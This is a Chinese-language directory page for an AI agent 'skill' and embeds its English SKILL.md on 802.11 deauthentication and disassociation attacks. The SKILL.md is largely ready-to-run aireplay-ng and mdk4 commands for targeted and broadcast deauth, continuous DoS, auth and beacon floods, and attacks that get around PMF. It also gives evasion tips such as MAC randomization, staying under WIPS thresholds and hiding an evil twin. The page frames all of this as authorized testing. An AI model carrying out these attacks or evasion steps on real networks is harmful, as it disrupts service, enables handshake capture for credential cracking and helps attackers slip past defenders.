offensive-deauth-disassoc
它能做什么
这个技能说明 Wi-Fi 断开测试如何运作,以及在获批的无线安全检查中何时有用。适合需要检查网络如何处理强制断开的安全测试人员。
适用场景
- ✓你在进行经授权的无线测试,需要查看客户端对强制断开的反应的时候。
- ✓你想知道较新的 Wi-Fi 防护设置是否会阻止断开测试的时候。
- ✓测试计划需要把断开检查限制在一小组获批设备上的时候。
技能链接
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-deauth-disassoc/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“作为获批测试的一部分,请解释如何检查我们办公室的 Wi-Fi 能否抵御强制断开。”
每周 5 个新技能,1 分钟读完。
工作原理
这个技能说明步骤和取舍,例如为什么只针对单个设备比断开所有设备更隐蔽。它还解释了较新的 Wi-Fi 防护如何改变哪些方法有效。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Deauth / Disassoc Attacks
The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
Quick Workflow
- Identify target client + AP (BSSID, channel)
- Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
- Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
- Send the deauth burst at the right rate
Single-Client Deauth (Preferred)
Used to force handshake capture, push client to evil twin, or test reconnection behavior.
sudo aireplay-ng --deauth 5 \
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 \ # client MAC
wlan0mon
--deauth 5sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.- More than 30 in a burst is unnecessarily noisy.
Broadcast Deauth (DoS, Use Sparingly)
# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous
# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.
PMF (802.11w) Awareness
PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
| PMF Status | Deauth Effect |
|---|---|
| Off | Classic deauth works |
| Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients |
| Required | Classic deauth ignored — must use action-frame attacks |
Action-Frame Attacks Against PMF
PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:
# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.
Beacon Flooding
Confuse clients (and WIPS) by flooding fake beacons:
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file
Use cases:
- Hide your evil twin among noise
- Stress-test client roaming logic
- DoS WIPS dashboards (flood with thousands of fake APs)
Rate Tuning and Detection
| Burst | Defender Signal |
|---|---|
| 3–10 deauth, single client | Often misclassified as roaming or RF noise |
| >30 deauth/sec from one source | WIPS rule trips |
| Continuous broadcast deauth | Clear DoS — alert + ticket within minutes |
| Beacon flood >50/sec | Saturates WIPS dashboards |
Randomize source MAC across burst-and-pause cycles to spread the signal.
Engagement Cheatsheet
# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>
# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
Reporting
Document for each test:
- Target BSSID + ESSID + PMF status
- Burst size, duration
- Effect observed (client reconnected? handshake captured? DoS achieved?)
- Detection signals defender would have seen
Key References
- aireplay-ng documentation
- mdk4: github.com/aircrack-ng/mdk4
- IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020)
- "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
常见问题
这个技能会让智能体扰乱网络吗?
它描述的是经授权检查中的断开测试。它警告大范围断开会造成干扰,只应在获得明确许可时使用。
什么是受保护的管理帧?
它是较新的 Wi-Fi 功能,会对某些控制消息进行签名,使简单的断开测试失败。这个技能对此作了说明。
它对谁有用?
它对检查无线网络和客户端行为的安全测试人员有用。
详情
作者的原始描述
Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.
repo: SnailSploit/Claude-Red
热度
- GitHub 星标
- 10k
- 排名
- #11982
- 许可证
- MIT
- 更新时间
- 2026/10/12
评论
- …
同一仓库的更多技能
offensive-active-directory
10k帮你的智能体规划经授权的 Active Directory 安全测试,从梳理网络到找出通往域管理员的攻击路径。
offensive-netexec
10k帮你的智能体使用 NetExec(nxc)工具进行经授权的网络测试,涵盖协议、认证和凭据检查。
offensive-api-abuse
10k帮你的智能体规划经授权的 API 安全测试,查找业务逻辑滥用、GraphQL 风险和竞态条件。
offensive-api-security
10k帮你的智能体依据 OWASP API Top 10,对 REST、gRPC 和 WebSocket API 进行经授权的安全测试。